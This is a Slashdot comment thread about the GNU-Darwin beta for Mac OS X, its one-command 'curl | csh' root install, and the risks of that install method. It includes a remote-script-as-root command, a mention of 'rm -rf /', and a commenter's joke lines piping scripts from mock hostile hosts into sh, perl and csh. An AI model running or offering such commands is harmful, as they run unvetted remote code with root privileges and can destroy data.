GNU-Darwin Goes Beta
proclus writes "OSX.1 users can now install the GNU-Darwin base distribution automatically with one command. As Root: "curl http://gnu-darwin.sourceforge.net/one_stop | csh"." This assummes you have curl or wget or something. From there you can install gnome, abiword, gimp or whatever. Looks pretty smooth (although I'm kinda confused how you get back to OSX.1 from there ;)
i think all the information on getting back etc is covered at www.xdarwin.com ... something like ctrl+fnc a i think.
-----
jonathan barket
i am truly at a loss as to why one would install gnome over os x. i understand the issue of an os being open-source, etc., but you can pick up a $99 pentium box to run gnome, if you're that interested in having it.
(and what's with this 20 seconds before post rule? does everyone on slashdot think really slowly?)
go get it
I use fink myself. It's sort of a clone of apt-get for OSX. I have octave, gimp, latex, and a host of other applications on my machine. What's the advantage of this "distribution"?
Why is this so unique? Ximian Gnome has been using this installation method for a while now. All a user has to do assuming X is installed and working is type as root, 'wget http://go-gnome.com | sh'. Simple as that....
Dillo is a neat little effort, a cool side project, but no replacement for a real browser like Galeon or Konqueror. It is beyond a shadow of a doubt, the lowest point of the GNU-Darwin package.
-CT
That said, I'll just download the ISO and free up a partition to run it alongside Mac OS X and Aqua. That way my normal OSX system is guaranteed not to break. My mac is a test machine anyway. I run different operating systems on it depending on what I need to test. I urge everyone that wants to test this on their machine that runs important stuff to BACK UP THEIR IMPORTANT FILES, just to be safe.
Oh.. another thing: it's BETA. It might break. So be a little cautious, and be prepared to pull up your sleeves and do some work if it breaks, but hey, that's what being bleeding edge is all about, right?
But anyway: Great work guys! I'll seriously check it out. I'm downloading the iso as you read this comment.
- beause you can access your existing HFS+ volumes
- because you don't need to repartition your harddrive when installing alongside MacOS
- because you can access resource forks, type/creator codes and all that stuff
- because putting a machine to sleep actually works
and more...What are you talking about? How does culr "taint" anything? Curl is dually licensed under an MIT/X-derived license and the MPL. The MIT/X license is GPL compatible. Are you trolling or just confused?
Blah, BSD people don't care if you license their stuff GPL. That's why they licensed it BSD, because they want you do whatever fits you best.
Curl, proprietary, are you on crack or just a troll? Curl is under a MIT/X license. Check out http://freshmeat.net/projects/curl/
But not only that, they're disappearing down the same route as Ximian, namely chasing Microsoft in the "features and convenience are more important than security" game. The more users get used to seeing installation instructions that involve piping the output of an arbitratory web download into a root shell, the more they'll start to believe that's just the way it's done. You or I might know better, but the average user that'll be thinking ofdoing this probably won't.
"The invisible and the non-existent look very much alike." -- Delos B. McKown
Well, I did have wget in 10.0 up to 10.0.4, but the 10.1 update "helpfully" deleted it from my system. After several annoyed looks and some time spent searching Google, I found a download site for a precompiled binary for wget that will run under OS X (downloads as an installer .pkg file; you'll need to be root or an admin to install it.) The file is, for those who want to get it directly, here (.tar.gz format... use gunzip and tar -xvf to unpack if StuffIt Expander doesn't/can't.)
If you really, really want to compile yourself (you need to have installed the developer tools, which come with boxed copies of OS X), the source is here.
Beats me why Apple did this...
i am a soviet space shuttle
Matt Dillon falls off his rocker, calls for this project to be renamed BSD/GNU-Darwin.
You've got to be a troll. Anyone who's been around *NIX for 2 months or longer knows the difference between cURL and Curl. The fact that the context is either using "curl" or "wget" makes this incredibly clear.
-- @rjamestaylor on Ello
From the script:
Erm, so 10.1 comes with curl, which besides providing a library for use in your own programs, also seems to be more unix-like and full featured than wget, with the exception of recursively getting an entire directory tree, which 95% of the time I use wget I'm not doing anyway. This script also doesn't seem to use wget for anything but fetching single files. (Was s/wget/curl -O/ too hard?) Oh boy, here come the first of the unwelcome "improvements." Apple thoughtfull provided not only the bsd tar program, but a binary called "gnutar" as well that seems to support all the options of GNU tar on my linux machines (With the one exception of bzip2 compatability, but that's easily fixed by piping bzip2 output to tar.) And KILLALL, don't forget about one of the single most dangerous commands to get into the habit of using, next to rm -rf. God forbid they have to cat pid files or even use awk to figure out a process id in a one time use shell script. It might make the script ugly.*sigh*
I really do appreciate the work GNU-Darwin is doing, they're filling the few gaps on my osx machine. I just wish they didn't go the extra mile to make my system GNUified. It's not becoming of a nice BSD install.
When I was able to do my own spam-armoring, you got a chance to email me. Now you can only hope I see your reply.
Beats me why Apple did this...
I believe it was deprecated in favor of curl, which I'm told is more robust anyway. It has the same basic syntax:
curl url
No. Not trolling. I've dabbled in *NIX and have a BSD partition for when I absolutely need it, but I only fire it up every 6 months, sometimes longer.
I honestly had no idea there was something called cURL. The only time I had ever heard "curl" used in association with computing was in connection with Curl, the MIT-commercial partnership to which you linked. So, I retract my previous statements in regards to cURL.
Maybe I went off half-cocked, but then again if I made this mistake maybe others will too. Poor marketing on the part of cURL? If Curl is really "out to get people" maybe cURL should consider a pre-emptive name change to prevent lawsuits.
For all intensive purposes, "whom" is no longer a word. That begs the question, "who cares"?
curl http://gnu-darwin.sourceforge.net/one_stop | csh
Erm. Isn't this a bit of a dangerous install strategy? e.g. sourceforge get hacked again and http://gnu-darwin.sourceforge.net/one_stop points to a script that starts with 'rm -rf /'. Not so fun now...
Wouldn't it be better to use something that does a bit of public key crypto and verifies that you are really downloading something signed by a darwin guy or sourceforge? At least using https would help to stop a man in the middle attack...
-- Mike
When's the last time you read the entire Makefile and all external files that it calls, before typing 'make install'?
This is no different from downloading a tarball with a Makefile inside. You are downloading a script from the net and running it as root. You either check the script yourself beforehand, or you rely on the fact that a reputable party is providing the script and that more paranoid users will be checking it and publicizing any trojans inside (and ruining the reputation of the author).
The situation I would really warn against is running an unexamined script that isn't provided by a known author, or even worse a compiled binary with no source available. As long as the source is public, it is no different from what Unix admins have been doing for decades every time they install software.
Your X environment is a Mac application that you can switch to by clicking on its window or on its dock or double clicking on its finder icon. Once the X environment is frontmost, you can switch frontmost apps the way you usually do with whatever window manager.
"I like systems, their application excepted", George Sand (French)
IRIX is one example. I thought, well I'll just type killall to see it's quick help (assuming the GNU style of telling me a quickhelp with invalid command line options).
:)
That really kills EVERYTHING, no prompt, no quckhelp, (if you were root). It's the fastest way to take down a small supercomputer that I know of.
I've had enough abrasive sigs. Kittens are cute and fuzzy.
Does anyone know if any active development is taking place for the x86 port of Darwin ? I have downloaded it and had look, but it supports very little hardware and if I build a system just for it, I might as well get an iMac and use it in its native platform.
Fascism should more properly be called corporatism, since it is the merger of state and corporate power - Benito Mussoli
Seeing a Nextstep-ish window system on top of OS X is quite a hoot! Thanks.
Libertarianism is rich wolves and poor sheep playing gambler's ruin for dinner.
I use fink myself. It's sort of a clone of apt-get for OSX. Minor correction -- fink is not "sort of a clone" of the Debian tools. It is actually a frontend to the dpkg/apt suite, which they ported to OS X. Fink uses the real Debian package management tools and the .deb package format.
Is actually a BSD license.
And, on the main page, the license is listed as GPL. http://sourceforge.net/projects/gnu-darwin/
If it was said on slashdot, it MUST be true!
Um yeah... Just for the people who copy and paste before reading through!
Luck favors the prepared, darling.
curl http://madhaxxors.com/0wnZj00 | sh
curl http://goatse.cx/setwallpaper.csh | csh
curl http://spamforprofit.org/easymoney.pl | perl
curl http://microsoft.com/msonly/seekNdestroy | bash
Lots are being said about cURL in these discussions, both favourable and some things not so favourable. Feel free to stop by and make your own opinion.
We host our project web pages at http://curl.haxx.se/ and we welcome your contributions!
Darwin is not a GNU project. FreeBSD is not a GNU project. Mach is not a GNU project. OSX is not a GNU project.
And of course, GNU Darwin is not a GNU project. So why is it called "GNU Darwin"? This project has nothing to do with GNU. Sure it has some ported GNU software, but so do my Solaris and FreeBSD boxen. Come to think of it, so do my Windows and QNX boxen.
A Government Is a Body of People, Usually Notably Ungoverned
I mean, Darwin has it's own mascot, the Platypus. Why not use that instead of the BSD demon?
For the bitchers, please remember than the GNU-Darwin project no matter how inaptly named is not supported by Apple and thus anything mentioning the GNU-Darwin project may fuck up an Apple supplied OSX installation. Besides that I think this project is pretty nifty, it's one of the reasons I was pretty excited about getting OSX on my Powerbook. Not only would I get the cool features of OSX I also get to fire up Terminal.app and use a huge number of FreeBSD ports. The article from the other day where both OS 7.6 and WindowsXP were running on an iBook 466 I found pretty interesting. There was little content but the demonstration was pretty cool.
I'm a loner Dottie, a Rebel.
So let's call it BNU!
A Government Is a Body of People, Usually Notably Ungoverned